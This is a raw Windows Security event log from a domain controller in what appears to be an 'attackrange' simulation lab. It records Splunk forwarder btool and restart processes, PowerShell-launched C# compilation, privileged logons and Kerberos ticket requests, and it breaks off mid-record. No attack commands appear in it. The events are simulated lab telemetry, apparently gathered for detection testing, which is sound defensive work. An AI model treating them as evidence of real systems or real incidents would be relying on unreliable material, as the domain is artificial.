-03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251998 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14C9F5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251997 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1160 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251996 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1160 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10fc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251995 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10fc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa28 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251993 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa28 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12b0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251992 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x364 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x604 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: splunk.exe restart - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251990 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14BFA9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251989 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14BFA9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D4E01130-24CD-5D56-AA73-01CD0C115F92} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251988 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D4E01130-24CD-5D56-AA73-01CD0C115F92} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251987 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D4E01130-24CD-5D56-AA73-01CD0C115F92} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251986 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251985 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1188 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11ec - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES2513.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCBCA51FD747B14574978278D2E1298F64.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11ec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x604 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\jiojeyb5.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252024 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D1D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252023 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D1D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64576 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252022 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D1D7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252021 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D176 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252020 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D176 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64575 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252019 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D176 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252018 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D110 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252017 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D110 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64574 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252016 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D110 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252015 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D0AF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252014 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated 